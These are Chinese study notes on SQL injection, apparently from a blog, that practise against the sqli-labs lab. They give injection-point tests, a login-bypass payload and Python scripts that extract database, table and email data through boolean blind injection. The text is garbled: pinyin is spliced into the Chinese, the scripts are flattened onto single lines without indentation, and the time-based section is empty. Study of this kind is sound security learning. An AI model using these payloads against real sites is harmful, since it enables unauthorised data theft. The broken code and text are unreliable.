sql注入(晨版)
sql 注入:
1.sql注入最重要的過(guò)程,單引號(hào)判斷注入最常見(jiàn)。
分為三大類:get、post、cookie
簡(jiǎn)單判斷get型:
http://host/test.php?id=100’ 返回錯(cuò)誤說(shuō)明有可能注入http://host/test.php?id=100 and 1=1 返回正常http://host/test.php?id=100 and 1=2返回錯(cuò)誤如果出現(xiàn)以上三種錯(cuò)誤,基本盤判定為注入點(diǎn)
#盲注中只會(huì)回顯錯(cuò)誤或者正確,不會(huì)報(bào)錯(cuò)
2.判斷注入類型
注入類型分為:數(shù)字型,字符型,搜索型,內(nèi)聯(lián)式,終止式。
數(shù)字型,傳入?yún)?shù)為數(shù)字,回顯錯(cuò)誤正確來(lái)判斷:
http://host/test.php?id=100 and 1=1 返回成功http://host/test.php?id=100 and 1=2 返回失敗也就是說(shuō),后臺(tái)sql語(yǔ)句查詢判斷傳入?yún)?shù)為數(shù)字,不用閉合sql語(yǔ)句。
字符型,傳入閉合字符,查詢是否出錯(cuò):
http://host/test.php?name=man' and '1'='1 返回成功http://host/test.php?name=man' and '1'='2返回失敗這里比上面多了 ‘ 所以判斷回顯正確錯(cuò)誤,說(shuō)明后臺(tái)查詢語(yǔ)句查詢的是字符串,進(jìn)行sql注入的時(shí)候就需要傳入閉合來(lái)進(jìn)行。
搜索型,借用like語(yǔ)句進(jìn)行搜索,like中**%**為通配符,由于進(jìn)行了通配符的匹配無(wú)法進(jìn)行正常的測(cè)試,依然是構(gòu)造閉合條件來(lái)進(jìn)行匹配:
SELECT * FROM news WHERE keyword like '%$keyword%' 這里的$keyword是用戶的輸入 當(dāng)我們輸入以下語(yǔ)句的時(shí)候 pt%' and 1=1 and '%'=' 最終我們得到的語(yǔ)句是這樣的 SELECT * FROM news WHERE keyword like '%pt%' and 1=1 and '%'='%' 這個(gè)語(yǔ)句又一次的閉合了內(nèi)聯(lián)型,指的是進(jìn)行查詢的注入之后,原來(lái)的查詢依然在進(jìn)行,也就是說(shuō),雖然有錯(cuò)但是依然執(zhí)行,需要注意的是,由于sql語(yǔ)句中使用了 AND 使得語(yǔ)句中錯(cuò)誤一個(gè)返回的都為錯(cuò)誤,常見(jiàn)的就是登陸頁(yè)面,利用方法為構(gòu)造 OR 1 = 1 來(lái)進(jìn)行繞過(guò),但是一定要注意邏輯先后順序 SQL語(yǔ)句中AND運(yùn)算優(yōu)先級(jí)大于OR :
SELECT * FROM admin WHER username='$name' AND password ='$passwd'這個(gè)時(shí)候我們想辦法繞過(guò)AND,所以從password=’or 1 = 1,所謂的萬(wàn)能密碼就是這種的繞過(guò)方式。
如果你從username輸入,就會(huì)導(dǎo)致:
SELECT * FROM admin WHER username = '' or '1'='1' AND password = '' 此時(shí)先進(jìn)行 '1' = '1' AND password = ''的判斷,結(jié)果為 0 然后進(jìn)行 username = '' or 0 由于username 不可能為空,所以此時(shí)為 0 or 0 為 0 最終顯示錯(cuò)誤,所以萬(wàn)能密碼叫做萬(wàn)能密碼,不叫萬(wàn)能賬號(hào)。終止型,可以進(jìn)行輸入注釋符來(lái)進(jìn)行后面語(yǔ)句的注釋:
上面的題型,如果我們想要進(jìn)行注入的話,我們需要注釋掉后面的 password 就能成功:
輸入:' or ''='' -- 后臺(tái)查詢語(yǔ)句:SELECT * FROM admin WHER username='' or ''='' --' AND password ='fuzz' 只進(jìn)行前兩個(gè)語(yǔ)句,AND 后面不進(jìn)行,導(dǎo)致返回為真盲注:
盲注分為三個(gè)類型:
基于布爾的盲注
基于時(shí)間的盲注
基于報(bào)錯(cuò)的盲注
布爾類型盲注:
mysql 一些內(nèi)置函數(shù):
length()返回內(nèi)容的字符串的長(zhǎng)度 ascii() 返回字符的ascii碼 substr(str,start,length) 截取字符串三步走:
0x00:爆庫(kù)
url and length(database())>0 # // 最后的數(shù)字可以進(jìn)行更換來(lái)確定庫(kù)名的長(zhǎng)度。當(dāng)確定了庫(kù)名長(zhǎng)度之后,利用python腳本來(lái)進(jìn)行爆破。
import requests def get_db_name():result = ""url_template = "url?id=2' and ascii(substr(database(),{0},1))>{1} %23"chars = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'for i in range(1,9):for char in chars:char_ascii = ord(char)url = url_template.format(i,char_ascii)response = requests.get(url)length = len(response.text)#根據(jù)返回長(zhǎng)度的不同來(lái)判斷字符正確與否if length>706:result += charbreakprint(result)0x01:爆表
url id=2' and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)>0 %23 依然是優(yōu)先判斷表的長(zhǎng)度當(dāng)判讀出表的長(zhǎng)度的時(shí)候就可以使用python腳本繼續(xù)跑
import requests def get_table_name():result = ""url_template = "url ?id=2' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),{0},1))>{1} %23"#limit 內(nèi)容的值限制了表的次序,例如第二張表名就切換為 1,2)chars = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'for i in range(1,7):for char in chars:char_ascii = ord(char)url = url_template.format(i,char_ascii)response = requests.get(url)length = len(response.text)#返回的長(zhǎng)度只有706和722if length>706:result += charbreakprint(result)0x02:脫庫(kù)
脫庫(kù)之前先判斷 emails 表中的記錄數(shù)
url+?id=2' and (select count(*) from emails)>0 %23 #count函數(shù)用于查詢表內(nèi)的記錄數(shù)確定了表中的記錄數(shù)之后我們進(jìn)行下一步的脫庫(kù)
url+id=2' and (select length(email_id) from emails limit 0,1)>15 %23確定內(nèi)容的長(zhǎng)度。
py跑一下
def get_data():result = ""url_template = "http://localhost/sqlilabs/Less-8/?id=2' and ascii(substr((select email_id from emails limit 0,1),{0},1))>{1} %23"chars = '.0123456789@ABCDEFGHIJKLMNOPQRSTUVWXYZ_abcdefghijklmnopqrstuvwxyz'for i in range(1,17):for char in chars:char_ascii = ord(char)url = url_template.format(i,char_ascii)response = requests.get(url)length = len(response.text)#返回的長(zhǎng)度只有706和722if length>706:result += charbreakprint(result)另外就是使用sqlmap。
基于時(shí)間的盲注:
總結(jié)
- 上一篇: sql-labs page1 (1~2
- 下一篇: sql 注入 相关函数